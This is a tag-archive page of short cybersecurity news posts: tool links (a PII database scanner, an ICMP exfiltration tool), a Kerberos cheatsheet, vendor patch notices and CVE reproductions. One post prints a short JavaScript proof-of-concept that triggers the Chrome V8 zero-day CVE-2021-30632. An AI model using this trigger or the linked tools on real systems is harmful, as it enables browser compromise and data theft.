All posts tagged cyber

■■□□□ ODBParser is a tool to search for PII being exposed in open databases. https://github.com/citcheese/ODBParser https://t.me/cKure/9335

■□□□□ Alation Data Governance App accelerates data governance using ML and AI. https://www.helpnetsecurity.com/2021/09/15/alation-data-governance-app/ https://t.me/cKure/9334

■■□□□ CVE-2021-30632: Chrome Zero-day PoC var a; function foo() { a = new Uint32Array(100); } %PrepareFunctionForOptimization(foo); foo(); foo(); a[“xxx”] =1; delete a[“xxx”]; %OptimizeFunctionOnNextCall(foo); foo(); https://t.me/cKure/9333

■■■■■ QueenSono: data exfiltration with ICMP protocol. https://github.com/ariary/QueenSono https://t.me/cKure/9331

■■■□□ Adobe releases security updates for 59 bugs affecting its core products, including Adobe Acrobat Reader, XMP Toolkit SDK and Photoshop. https://helpx.adobe.com/security.html https://t.me/cKure/9330

■■■■□ Fuzzing Closed-Source JavaScript Engines with Coverage Feedback. https://googleprojectzero.blogspot.com/2021/09/fuzzing-closed-source-javascript.html https://t.me/cKure/9329

■■■■□ Kerberos cheatsheet https://gist.github.com/TarlogicSecurity/2f221924fef8c14a1d8e29f3cb5c5c4a https://t.me/cKure/9328

■■■■□ List of 20+ infosec, privacy and OSINT blogs. https://www.osintme.com/index.php/2021/09/12/list-of-20-infosec-privacy-and-osint-blogs/ https://t.me/cKure/9327

■■□□□ Interesting thread! https://twitter.com/Bing_Chris/status/1437860777482915845 https://t.me/cKure/9326

■■■□□ Reproduction of CVE-2021-38647 (unauthed root RCE in the OMI agent) using the details in the technical blog post. uid=0(root) gid=0(root) groups=0(root) https://www.wiz.io/blog/secret-agent-exposes-azure-customers-to-unauthorized-code-execution https://t.me/cKure/9325